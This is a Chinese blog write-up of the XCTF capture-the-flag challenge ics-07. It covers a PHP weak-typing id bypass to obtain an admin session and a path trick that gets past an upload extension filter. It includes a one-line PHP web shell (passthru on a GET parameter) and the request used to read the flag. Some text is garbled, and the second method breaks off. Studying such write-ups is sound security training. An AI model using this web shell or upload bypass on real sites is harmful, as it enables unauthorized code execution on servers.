XCTF的ics-07

本文详细介绍了XCTF中ics-07题目的解题过程,涉及浮点值绕过、文件上传漏洞利用、Apache解析漏洞等技术。首先通过浮点值和文件后缀限制的绕过,获取admin权限并上传文件。接着,尝试利用Apache的目录结构特性绕过文件后缀限制,成功上传可执行文件并获取shell,最终找到flag。
摘要由CSDN通过智能技术生成

三种解题方法

(1)
步骤
1.进入题目后,查看源码进行审计,第一步需要进行绕过,获取到admin的session。

2.绕过要注意的三个点为:

​ (1)floatval($ _ GET [id])!==‘1’ //浮点不为1

​ (2)substr($ _ GET [id],-1)==='9‘ //id最后一位为9

​ (3)Mysql查询结果限制,id不能过大,

3.构建后exp为http://111.198.29.45:43136/index.php?page=&id=1/9&submit=提交查询#,可得到admin,如图所示
在这里插入图片描述
4.然后是文件过滤,要注意的三个点为:

​ (1) f i l e n a m e = " b a c k u p / " . filename = "backup/". filename="backup/".file; //目录为假目录,传入file时,加上一个…/

​ (2)’/.+.ph(p[3457]?|t|tml)$/i’ //正则过滤文件只匹配最后一个点的后缀,可以写入两次.php

​ (3)真实上传目录为upload

5.构建exp为file=…/123.php/1.php/…&con=<?php passthru($_GET[bash]);?>,用post方式进行传递

6.访问http://111.198.29.45:38479/uploaded/123.php?bash=cat …/flag.php,查看源码,获得flag,如图所示
在这里插入图片描述
(2)

对源码进行审计
在这里插入图片描述
这段说当session为admin时可以上传文件,文件会保存到uploaded/backup目录下,但是使用黑名单过滤掉了ph(p[3457]?|t|tml)这些后缀。
在这里插入图片描述
这段说当传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin。

利用php弱类型语言的特性可轻松绕过这一限制。

如下:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值